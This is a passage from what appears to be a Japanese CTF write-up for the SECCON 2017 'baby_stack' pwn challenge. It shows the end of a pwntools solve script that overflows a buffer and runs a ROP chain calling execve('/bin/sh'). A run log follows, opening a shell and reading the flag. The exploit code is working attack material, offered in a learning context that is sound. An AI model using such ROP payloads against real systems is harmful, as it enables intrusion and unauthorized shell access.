   buf1 = b"hoge"
   conn.sendline(buf1)

   # Input msg (Second input)
   ## name string
   buf2 = b'a'*0x68
   buf2 += p64(please_ptr)
   buf2 += p64(please_size)

   ## msg string
   buf2 += b'a'*(0xc8-len(buf2))
   buf2 += p64(please_ptr)
   buf2 += p64(please_size)
   buf2 += p64(please_size)

   buf2 += b'a'*(0x198-len(buf2))

   # ROP
   ## rdx = 0
   buf2 += p64(pop_rdx)
   buf2 += p64(0x0)
   buf2 += b'a'*0x38    # add rsp, 0x38

   ## rsi = 0
   buf2 += p64(pop_rsi)
   buf2 += p64(0x0)

   ## rdi = "/bin/sh"
   buf2 += p64(pop_rax)
   buf2 += p64(bss_addr) # initialize rax with bss_addr
   buf2 += p64(pop_rdi)
   buf2 += p64(bss_addr)
   buf2 += p64(pop_rax)
   buf2 += b"/bin/sh\x00"
   buf2 += p64(mov_rdi_rax)

   ## rax = 59
   buf2 += p64(pop_rax)
   buf2 += p64(59)      # execve

   ## execve("/bin/sh", 0, 0)
   buf2 += p64(syscall)
   conn.sendline(buf2)
   conn.interactive()

実行結果

mc4nf@mc4nf:~/ctf/secconctf_2017/pwn/baby_stack$ python solve.py
[*] '/home/mc4nf/ctf/secconctf_2017/pwn/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8'
 Arch:     amd64-64-little
 RELRO:    No RELRO
 Stack:    No canary found
 NX:       NX enabled
 PIE:      No PIE (0x400000)
[+] Opening connection to localhost on port 8000: Done
[*] Switching to interactive mode
Please tell me your name >> Give me your message >> Thank you, Please!
msg : Please
$ ls
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
flag.txt
$ cat flag.txt
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}

created 2022/2/13
updated 2023/2/28

Team Enu

Team EnuのWriteupや活動の紹介を掲載しています。


By siva (https://twitter.com/mc4nf), 2023-02-28